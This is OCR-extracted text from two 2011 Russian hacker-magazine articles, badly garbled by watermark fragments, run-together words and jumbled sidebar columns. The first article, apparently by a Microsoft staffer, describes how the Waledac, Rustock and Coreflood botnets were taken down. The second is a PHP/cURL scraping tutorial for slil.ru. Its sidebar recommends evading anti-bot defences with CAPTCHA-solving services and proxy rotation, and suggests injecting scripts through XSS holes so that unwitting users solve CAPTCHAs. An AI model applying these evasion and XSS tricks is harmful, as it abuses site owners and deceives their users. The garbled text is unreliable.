Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:
Скачиваний:
11
Добавлен:
20.04.2024
Размер:
8.91 Mб
Скачать

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

Какзакрываютботнетыw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

даженеобладатькакими-либоособымитехнологическиминавы- ками.Впрочем,еслиговоритьокрупныхботнетах,тоихсоздатели— это,безусловно,способные,талантливыелюди,боротьсяскоторыми довольносложно.Врамкахэтогоматериалаяхотелбырассказатьо практиках,которыеиспользуютсябольшимикомпаниямидляборьбы скиберпреступностьюи,вчастности,ботнетами.Речь,вчастности, пойдетобактивностикомпанииMicrosoft,вкоторойяиработаю.

MICROSOFTVS.БОТНЕТ

Возможно,этоизаставиткого-тоулыбнуться,новMicrosoftвпо- следниенескольколетнаблюдаетсясерьезнаяработапоповышению безопасностипродуктовисервисов.Появилисьисталиприменяться методологииразработкибезопасногокодаSDL,чтоключевымобразом повлиялонаколичествонайденныхзапоследнеевремяуязвимостей (особеннотех,которыеможноэксплуатировать).Норечьсегодняпойдетнеопревентивныхмерах,которыемогутпредотвратитьбудущие угрозы,аоборьбеспроблемами,которыеактуальнысегодня.Большое количествозараженныхмашин—какразтакаяпроблема.

Внутрикомпаниибылсозданцелыйрядподразделенийпоборьбес киберпреступлениями.Последниеносятразныеимена—DigitalCrime Unit,MicrosoftSecurityResponseCenter,MicrosoftMalwareProtection Center,TrustworthComputing,—нозадачикаждоготакилииначе пересекаютсяспроблемойкиберпреступности.ВместесправоохранительнымиорганамииисследовательскимиорганизациямиMicrosoft

началоперациипоуничтожениюкрупнейшихботнетов.Звучитгромко? Возможно,нозагодбылиуничтоженытакиеботнеты,как:

Rustock,рассылавший80%мировогоспама.

Coreflood,которыйслужилинструментомдляфинансовыхпреступлений,принесшихболее$100млнубытков.

Waledac,ботыкоторогоотправляли1,5млрдспам-сообщений ежедневно.ВпроцессеегоисследованиябылонайденополмиллионапаролейотпочтовыхящиковпользователейиFTPсерверов.

БОРЬБАСБОТНЕТАМИ:ОБЩИЕПРАКТИКИ

Длятогочтобыпонятьтиповыеспособыуничтоженияботнета,надо разобратьсясегоархитектуройислабымиместами.Чащевсегодля управленияботнетомиспользуетсяодинилинесколькокомандных (частоцентральных)серверов,называемыхCommand&Control,или C&C.Онивзаимодействуютсконечнымиузламиботнетапоразным протоколам.НаиболеечастовкачествепротоколауправленияиспользуетсяIRC.Впрочем,впоследнеевремярезкоувеличилосьпри- менениеP2P-протоколовкакболееустойчивой,хотяитехнологически сложнойальтернативы.Интереснойэкзотикойвпоследнеевремя сталоиспользованиедляуправленияботнетафайлообменныхсетей ипередачауправляющихкомандвтелефотографий,публикуемыхна Facebook.Такилииначе,дляборьбысботнетомможнопредпринять несколькоконкретныхдействий:

Судебноерешениепозволилоприостановить действиедоменов,используемыхботнетом

Закрытиеботнетоврезкосократилоколичествомировогоспама

ХАКЕР 10/153/2011

059

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

 

d

 

F

 

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

ВЗЛОМm

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

 

.c

 

 

p

 

 

 

 

 

g

 

 

 

 

 

df

-xcha

n

e

 

ЗахватитьиливывестиизстрояС&C-узлы.

DDoSнаС&C-узлы.

Жалобыпровайдеру,гдехостятсяC&C-узлы.

ЗахватDNS-имен,используемыхC&C.

БлокированиеIPадресов.

Арествладельцаботнета.

Судебныйиск.

Ксожалению,невсеизэтихспособовэффективны,анекоторыеи вовсенезаконны.Междутемнекоторыеизнихнамуспешноудалось применить.Так,ботнетыRustockиCorefloodбылиуничтоженыдоволь- нотривиально.ЭтоудалосьсделатьспомощюзахватаС&C-серверов правоохранительнымиорганамипорешениюсуда.ЗатемправительствоСШАдалоправоохранительныморганамразрешениеспомощью командногоинтерфейсаботнетапослатькомандуудалениякода малварисзараженныхмашин.Работапозакрытиюдругогоботнета— Waledac—оказаласьещеболееинтересной,инаэтоммоментеяхотел быостановитьсяподробнее.

WALEDAC:УСТРОЙСТВО

СложностьборьбысWaledacзаключаласьвдецентрализованнойсхемеработыботнета.Дляегоработыбылозарезервированонимногони мало277доменныхимен.Этозначит,чтозахватыватьсерверанужно былоодновременноуразныхпровайдеровхостинга.Крометого,для управленияботнетомуспешноиспользовалсяP2P-механизм.Если посмотретьнасхемуботнета,тосразубросаетсявглазамногослойностьуправляющихсерверов.ВпроцессезаражениясистемыспомощьюWaledacзловредныйкодопределяет,какуюрольбудетвыполнятьновыйузел.Онстановитсялибопростымузлом,рассылающим спам,еслинаходитсязаNATинепринимаетвходящиесоединенияна 80йпорт,либоузлом,которыйповторяет(ретранслирует)командыиз центра,—тоестьсвоегородарепитером.Репитерыиспользуютсядля управленияботнетом.Каждыйрепитеркромепередачиуправляю- щихкомандузлам-спамерамподдерживаеттакжесписок«соседей», состоящийиз100узлов,такжевыполняющихрольретранслятора,

ккоторымонможетподключитьсяпоP2Pпротоколу.Современем любойузел-повторительрегистрируетсвоедоменноеимявfastflux DNS.Этоделаетсядлятого,чтобыдатьвозможностьобращатьсяк

МногослойнаяархитектурауправленияWaledac

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

НЕТАКИЕ,КАКВСЕ

Опрометчивосчитать,чтоботнетысостояттолькоизWindows-машин. ЕстьботнетыинаLinux/Unix—Psyb0t,ChuckNorris,насчитывающиесот- нитысячустройств.Восновномтакиеботнетысоздаютсяиздомашних маршрутизаторов,коммутаторовиNASнижнегоценовогодиапазона. Уничтожитьтакойботнеткрайнетрудно,таккакдомашнийпользователь вбольшинствеслучаевнеобладаетзнаниямивLinuxинавыкамиобновленияпрошивкиустройства.Производительустройствазаинтересованв быстромустареванииустройстваичастонетольконенамеренустранять недостатки,ноинеимеетмеханизмовцентрализованногообновления своихпродуктов.Поданнымисследованияот2009года,винтернетев любоймоментможнонайтинесколькомиллионовдомашнихустройствс устаревшимипрошивкамиипаролямипоумолчанию.

Каждыйрепитерподдерживаетсписок«соседей»

ПодключениесерверовMicrosoftкWaledac

060

ХАКЕР 10/153/2011

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

Какзакрываютботнетыw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Регистрациядоменногоимени

себе узлам-спамерам, если ближайший к ним репитер вдруг выйдет из строя и станет недоступен. Таким образом узлы ботнета всегда могут найти ближайший узел-ретранслятор и получать от него команды и обновления исполняемого кода. Со временем роли узлов могут меняться. Если система, используемая как ретранслятор, к примеру, попадает в корпоративную сеть и лишается возможности принимать подключения на 80-й порт, то она автоматически получает роль спамера. При этом проанализировать топологию ботнета не так просто, потому как еще одной задачей репитера является противодействие исследованию топологии ботнета. Он служит своеобразным прокси и не позволяет узлам-спамерам знать чтолибо об управляющих узлах C&C.

WALEDAC:УНИЧТОЖЕНИЯ

Проанализировавархитектуруботнета,мыпроработалипландля атакинаботнетсоследующимиконкретнымишагами:

1.Нарушениеp2p-механизмаобменауправляющимикомандами.

2.НарушениеобменаDNS/HTTP-командами.

3.НарушениеработыдвухверхнихслоевC&C-серверов.

ПервымделомнужнобылопрерватьработуP2P-механизма.В связистем,чтофункциянахожденияближайшегоретранслятора внутриботнетаработаланестабильно,былавозможнаситуация,что узлуприходилосьперебратьдо20адресов,находящихсявегосписке «соседей»,чтобынайтиработающийсоседнийрепитер.Благодаря этомунамудалосьсоздатьподдельныерепитеры,включитьихвсоставботнетаиначатьраспространятьфальшивыеобновлениясписка репитеров,темсамымнарушивсвязностьсистемыуправленияP2P. Этопозволилопередаватькомандыузлам-спамерамотспециально созданныхкомандныхсерверовMicrosoft.

ВслучаенеработоспособностиP2P-механизмаузлыботнета начинаютискатьдругдругаспомощьюмеханизмаfastfluxDNS. Поэтомунеобходимобылоразрушитьиэтотспособуправления,чтобы злоумышленникнемогвосстановитьконтрольнадботнетом.Это интересныймомент,потомучтоздесьмыиспользовалиюридический механизм.ТипичнаяпроцедураотзываDNSименичерезICANNспо- мощьюпроцедурысострашнымназванием«UniformDomain-Name Dispute-ResolutionPolicy»можетзанятьдовольномноговремени.Это позволилобызлоумышленникамуспетьосознать,чтоихатакуют,

ипредпринятьмерыпорегистрацииновыхDNS-имен,накоторые позжеперевестиуправлениеботнетом.Поэтомувместостандартной

Стандартныйподходкуправлениюботнетом

процедурыICANNмывоспользовалисьпроцедуройTRO(temporary restrainingorder)—возможностьювременноприостанавливатьдей- ствиедоменовна28дней.Наэтомэтапеещеоднойсложностьюбыло то,чточастьDNS-именбылазарегистрировананатерриторииКитаяи Нидерландов.Поводомдлясудебногоискабылонарушениеторговой маркиMicrosoftиPfizer.БотнетактивнорассылалписьмасуведомлениямиовыигрышевнесуществующейлотерееMicrosoftирекламу поддельныхлекарствподмаркойPfizer.

ДлятогочтобызлоумышленникимоглипоборотьсясMicrosoftв суде,ежелиунихпоявитсяжеланиезаявитьсвоиправанаботнет,на сайтебылоопубликованоисковоезаявление.Такжевнациональныхгазетахнатерриториистран,откудаподозреваемыеуправляли ботнетом,былиопубликованыуведомленияовызовевсуд.Каки предполагалось,никтонепосмелявитьсявсудизаявитьосвоих правахнаботнет.ТакимобразомMicrosoftвыигралсуднатерритории США,КитаяиНидерландов.Подробнееоюридическихтонкостяхи перипетияхборьбызаботнетможнопочитатьвспециальномразделе сайтаMicrosoft(bit.ly/rlDUDA).

ВрезультатеэтихюридическихдействийправанаDNSперешли

кMicrosoft.НаданныймоментDNS-именаподключеныксерверам Microsoft.Вслучае,есликэтимсерверамподключаетсязараженный узелизботнета,нанегоподаетсякоманда,приказывающаяботу бездействовать.Ксожалению,Microsoftнеимеетправаудалить вредоносныйкодботаWaledac,поэтомумысвязываемсяспровайдерами,черезкоторыхпользовательподключенкCетиипросимих помочьпользователюизбавитьсяотвредоносногокодаспомощью бесплатныхутилит,такихкакMicrosoftSecurityEssentialиMalicious SoftwareRemovalTool.

ЗАКЛЮЧЕНИЕ

Мы надеемся таким образом постепенно очистить интернет от последних остатков ботнета Waldac. Чтобы злоумышленникам было неповадно в дальнейшем создавать ботнеты, Microsoft в сотрудничестве с правоохранительными органами продолжает расследование и сбор доказательств. С этой целью мы предложили награду в $250 000 тому, кто сообщит сведения, способствующие аресту преступной группы, стоявшей за Rustock (bit.ly/oR7x88). По нашему опыту, такой подход может сработать. В завершение хочется сказать, что Microsoft и в дальнейшем намерен активно бороться с киберпреступлениями, преследуя злоумышленников всеми доступными ему способами. z

ХАКЕР 10/153/2011

061

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

 

 

 

 

 

hang

e

 

 

 

 

 

 

 

 

C

 

E

 

 

 

 

 

X

 

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

 

F

 

 

 

 

 

 

t

 

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

 

r

 

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

 

to

 

 

 

 

 

qbz (cayd@yandex.ru)w Click

 

 

 

 

 

m

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

 

.

 

 

 

 

 

.c

 

 

 

 

p

 

 

 

 

g

 

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Автоматическийсборинформациисчужихсайтоввбольших объемах—задачапростаятоль- конапервыйвзгляд.Сегодняя поделюсьстобойконкретным опытомпосозданиюграбберов дляудаленныхресурсовнапримеревсемизвестныхсервисов mamba.ruиslil.ru.

LINKS

bit.ly/qV15Z8— мануалпонастройкам cURL.

bit.ly/oMBmcW

Парсинг плагин

LiveHTTPHeadersдля

MozillaFirefox’а.

по-крупному

ДОБЫВАЕМЦЕННУЮ ИНФОРМАЦИЮСЧУЖИХСАЙТОВ

DVD

Нанашемдискеты найдешьвидео,подробноописывающее процесспарсинга сервисаslil.ru.

Такженадискмы заботливовыложили всенеобходимые скриптыипримеры.

HTML-код,который мыполучаемсоslil.ru

редположим,переднамистоитзадачапроанализировать

Пмиллионстраницодногосайтаисобратьснихкакую-то конкретнуюинформацию:выдратьссылки,телефоны,имена

итакдалее.Вродекакзатеяоченьпростаяирешаетсянесложным скриптом,которыйбудетходитьпосайту,анализироватьконтентивыдиратьоттуданужныеданные.

Однаконаделевсёнетакпросто:любыесервисынезаинтересованывтом,чтобысихсистемамиработалиботы.Никтонехочет,чтобыу неговоровалиинформацию,загружалисервераненужнымтрафиком

иполностьюигнорировалирекламу.Поэтомувсекрупныесервисы активноборютсясботами,используяразнообразныетехнологии:

• CAPTCHA;

• авторизацию(cookie,сессии);

• сертификаты;

JavaScript-защиту;

лимитсоединений;

генерациюключейдоступачерезflash;

другие,болееизощренныеспособызащиты.

Впрочем,всеиспользуемыетехнологии—этонеполноерешение проблемы,авсеголишьусложнениепроцедуры:обойтиприграббинге можноабсолютновсё.

ПРАКТИКА

Какговорится,лучшеодинразувидеть,чемсторазуслышать.Поэтому приступимкпрактическойчасти,вкотороймынапишемпростойпарсердляудобногофайлообменникаslil.ru.

Выборпалнанего,таккакникакихособыхзащитвеб-серверэтого ресурсанеставит,асамонсодержитмногоинтереснойинформации, такойкакзагруженныеаккаунты,приватныйсофтидругиеинтересности.Рассмотриминструментарий,которыймыбудемиспользоватьот началанаписанияботаидопервыхполученныхрезультатов:

Браузер.

PHP.

cURL.

ПлагинLiveHTTPHeadersдляMozillaFirefox.

062

ХАКЕР 10/153/2011

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-xcha

 

 

 

 

Большенамничегонепотребуется,кромеголовынаплечахиудобноготекстовогоредактора.Дляначаладавайопределимся,чтожемы будемпарсить.Парситьбудемназваниефайла,егоразмериссылкудля скачивания.ВсяэтаинформациясодержитсявHTML-сорцахстраницы скачиваниязагруженногофайла.

Теперьрассмотримспособыполучениякодатойсамойстраницы. Ихтакженесколько:

1.Стандартнаяфункцияfile_get_contents().Требуетвключенную PHP-директивуallow_url_fopen.Включитьееможночерез

.htaccess-файлнастройкисервераApache(php_flagallow_url_ fopenon).Здесьтакжеследуетупомянуть,чтовпятойверсии всемилюбимогоPHPсталовозможнымсоздаватьопределенные настройкидляHTTP-запроса.Этореализуетсяпримернотак:

$settings = array('http' => array('method' => 'GET', 'header' => "User-Agent: [ЮЗЕРАГЕНТ]\r\n".

"Accept: text/xml,application/xml,application/ xhtml+xml;q=0.5\r\n".

"Accept-Language: en-us,en;q=0.5\r\n". "Accept-Encoding: gzip,deflate\r\n". "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7"));

$settings = stream_context_create($settings);

$html = file_get_contents('http://url.tld/', NULL, $settings);

2.Сокеты(fsockopen()идругиефункции,которыемырассматривать небудем).

3.cURL.

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

Парсингпо-крупномуw Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

ПлагинLiveHTTPHeaders

Идеальнаявещьдляработысудаленнымисерверами.Этокак швейцарскийнождлясоставлениязапросовнасервер.Всёпродумано домелочейиобернутовинтуитивнопонятнуюсредуразработки.На курлемыиостановимся,таккактолькоонможетпредоставитьнам многопоточностьработыитребуемуюбыстроту(всреднемcURLв четыреразабыстрееfile_get_contents).

КАКСЕРВИСЫЗАЩИЩАЮТСЯОТГРАББИНГА,ИКАКЭТООБХОДЯТ

 

1

CAPTCHA

 

2

Авторизация

 

3

Сертификатыи

 

4

Лимитсоединений

 

Существуютпокрайней

 

Оченьчастобываеттак,что

 

JavaScript-защиты

 

Длязащитыотграббинга

 

 

меретриспособадля

 

 

необходимаяинформация

 

 

Ресурс,скотороготы

 

 

грамотныеадмини-

 

 

 

 

 

 

 

 

обходавсемнадоевшихкартинокс

доступнатолькодлязарегистриро-

хочешьграбитьинфу,можетработать

страторыставятограниченияна

мутнымицифрами/буквами.

ванныхпользователейопределен-

черезSSL,ивэтомслучае,еслине-

скоростьзакачиваниястрани-

• Скриптнаосновенейросетии

ногоресурса.Онаможетнаходитьсяв

обходимыйсертификатутебяесть,не

цыпользователем,атакжена

другихалгоритмов.Эффектив-

какой-либозакрытойчастисайтаили

составляетбольшоготруданаучить

количествосоединенийичастоту

ностьспособаможетсильно

жескрыватьсяподтакназываемым

скриптиспользоватьэтотсертификат.

активности.Понятно,чтониодин

меняться,вслучаекачественной

хайдомнафоруме.Такжевомногих

ДляPHPямогупосоветоватьзаме-

нормальныйпользовательнерабо-

капчиэффективностьавтомати-

случаяхдлярегистрациитебеможет

чательнуюбиблиотекуcURL,которая

таетссайтомнесколькочасовпод-

ческогораспознаванияопустится

понадобитьсяспециальноепригла-

отличнореализуетвсезадачи,свя-

ряд,выкачивая5000страницвчас.

ниже5%.

шение—инвайтотужесостоявшихся

занныессетевымвзаимодействием.

Поэтому,анализируяактивность

• Сервисыручногораспознава-

членовсайта.Толькопослепро-

ЧтокасаетсяJavaScript-защит,то

клиентов,умныесистемыиCMS

ниякапчейсудобнымAPIдля

хожденияпроцессарегистрациина

оничащевсегоориентированына

могутвыявлятьлевыхпользовате-

автоматическойработы.Здесь

ресурсетысможешьполучитьдоступ

шифрованиеисходногокода(читай

лейиограничиватьихработу.Вто

картинкиразгадываютреальные

кнужномуразделу.Даннаязащита

статью«JavaScript:Игрывпрятки»

жевремяадминистраторынемогут

людивонлайн-режиме,поэтому

непредставляетбольшойтрудности

изпрошлогономера)илинапроверку

действоватьвлоб:ведьпододним

эффективностьспособаочень

вобходе,скорее,немногозамедляет

специальныхjs-переменных,которые

IP-адресомвполнемогутсидеть

высокая:до90%.Единственный

работунашегобота,итодалеконе

доказывают,чтостраницазагружена

сразусотничеловек.

минус—заиспользованиеэтих

всегда.Еслимыхотимпроводить

реальнымбраузером,анеботом.

Чтожеделать,еслинамнужно

сервисовнужноплатитьденьги.

множестводействийнанужномсайте

Обходятсяэтиметодыэлементарным

заоднуминутуполучить1000

• ИспользованиеXSS-уязвимостей

из-пододногоавторизованногоакка-

анализомHTML-кодастраницы.Такой

страниц,асервернереагируетуже

дляподсовываниякапчейреаль-

унта,тонамследуетсоставитьодин

анализтылегкосможешьвыпол-

после20-йстраницы?Использо-

нымпользователям.Припомощи

дополнительныйзапросксерверув

нитьспомощьюинструментаOpera

ватьsocks-иproxy-сервера.Вэтом

XSSнауязвимомсервисеможно

самомначалеработыбота.Данный

DragonFlyв«Опере»илиплагинадля

случаеработаботабудетпроисхо-

разместитьспециальныйскрипт,

запроснеобходимдляполученияав-

«Лисы»LiveHTTPHeaders.Обеэтих

дитьнесодногоIP-адреса,анапри-

которыйбудетблокировать

торизационныхкукисов.Чащевсего

тулзыпомогуттебепонять,какиеже

мер,со100IP-адресов.Темсамым,

интерфейсипредлагатьпользо-

этоименноcookie-записи,иничего

POST-,GET-иCOOKIE-переменные

умножив100на20,мыполучим2000

вателюраспознаватькапчу.Люди

более.Послеполученияпеченекот

твойбраузерпосылаетудаленному

запросов,накоторыесерверточно

сейчаснауровнерефлексагото-

серверапоследующиезапросыбудут

ресурсу.Затемтысможешьвставить

долженответить.

выктакойситуацииисудоволь-

происходитьсихиспользованием,

этипеременныевкодсвоегобота.

 

ствиемраспознаютподдельные

чеммыиобходимданнуюзащиту.

 

 

картинки,нечуяподвоха.

 

 

 

ХАКЕР 10/153/2011

063

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

F

 

 

 

 

 

 

t

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

ВЗЛОМm

w Click

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

.

 

 

 

 

 

.c

 

 

p

 

 

 

 

g

 

 

 

 

 

df

-xcha

n

e

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

 

Готовыйпарсерslil.ru

РАЗВЕДКА

Прежде чем написать первые строчки на cURL, давай проанализируем, как браузер получает страницу. Ведь нам нужно замаскироваться именно под браузер. Для этого откроем Mozilla Firefox и запустим плагин LiveHTTPHeaders. Теперь перейдем по тестовому адресу slil.ru/31402491 и посмотрим в окно плагина. Там будет много логов, из которых нас интересует только самый первый запрос.

Воткаконможетвыглядеть:

GET /31402491 HTTP/1.1

Host: slil.ru

User-Agent: [ЮЗЕРАГЕНТ]

Accept: text/xml,application/xml,application/xhtml+xml;q=0.5

Accept-Language: en-us,en;q=0.5

Accept-Encoding: gzip,deflate

Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7

Keep-Alive: 300

Connection: keep-alive

Еслиданныйзапросвозвращаетнужнуюнамстраницу,значит, егомыибудемиспользоватьвкачествемаскировки.

СОСТАВЛЕНИЕЗАПРОСА

Теперьдавайнапишемпростенькийскриптдляполучениястраницы сфайлообменника:

 

 

 

 

hang

e

 

 

 

 

 

 

 

C

 

E

 

 

 

 

X

 

 

 

 

 

 

-

 

 

 

 

 

d

 

 

F

 

 

 

 

 

 

t

 

 

D

 

 

 

 

 

 

 

i

 

 

 

 

 

 

 

 

 

r

P

 

 

 

 

 

NOW!

o

 

 

 

 

 

 

 

 

 

 

 

 

BUY

 

 

 

 

 

 

to

 

 

 

 

 

w Click

 

 

 

 

 

m

 

 

 

 

 

 

w

 

 

 

 

 

 

 

 

 

 

w

 

 

 

 

 

 

 

o

 

 

.

 

 

 

 

 

.c

 

 

 

p

 

 

 

 

g

 

 

 

 

 

df

 

 

n

e

 

 

 

 

 

-x cha

 

 

 

 

$curl = curl_init(); $head = array(

'Host: slil.ru',

'User-Agent: [ЮЗЕРАГЕНТ]',

'Accept: text/xml,application/xml,application/xhtml+xml;q=0.5',

'Accept-Language: en-us,en;q=0.5',

'Accept-Encoding: gzip,deflate',

'Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7',

'Keep-Alive: 300',

'Connection: keep-alive'

);

// шапка, которую мы получили через LiveHTTPHeaders в виде массива

curl_setopt($curl, CURLOPT_URL, 'http://slil.ru/31402491'); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_HTTPHEADER, $head); curl_setopt($curl, CURLOPT_ENCODING, 'gzip,deflate');

$out = curl_exec($curl); // создаем соединение curl_close($curl); // закрываем текущее соединение

Всего 17 строк кода, и мы имеем исходный код страницы slil.ru/31402491 в переменной $out. Осталось только найти нужные нам данные, с чем справится следующий скрипт:

$filedata = explode('<p align="center">', $out);

$filedata = explode('</p>', $filedata[1]);

list($filename, $filesize) = explode('   ', trim(strip_tags($filedata[0])));

$temp_link = explode('var l1nk=\'', $cResult);

$temp_link = explode('\';', $temp_link[1]);

$temp_link = trim(str_replace("'+'", '', $temp_link[0]));

$data = array('name' => $filename, 'size' => $filesize,

'link' => $temp_link);

Такимобразоммыспарсилиимя,размериссылкуфайласодной страницы.

МНОГОПОТОЧНОСТЬ

Нокакжеспарситьсразумногофайлов?НапомощьприходитмногопоточностьcURL’а.Чтобыобработатьмножествофайлов,намнужно иметькакминимуммножествоссылок.Дляудобстванапишемгенератордиапазонассылок,исходяизстартовойипоследнейссылки:

function genLinks($from, $to)

{

3СЕРВИСАДЛЯРАСПОЗНАВАНИЯКАПЧИ

Использованиеонлайн-

1

«Антигейт»

2

«КапчаБот»

2

DeathbyCaptcha

сервисовдляраспознавания

 

(antigate.com)—одиниз

 

(captchabot.com) — аналогич-

 

(deathbycaptcha.com)—отно-

капчиоченьпопулярновсерьезных

самыхпервыхи,безусловно,самых

ный, но менее популярный сервис.

сительноновыйпроект,позицио-

проектах,частооснованныхна

популярныхсервисов.Здесьтебе

Точность расшифровки немного

нирующийсебякаксамогокрутого

получениивыгодыоттогоилииного

судовольствиемпомогутрасшиф-

меньше (80 %), также поддержи-

распознавателякапчнарынке.Цена

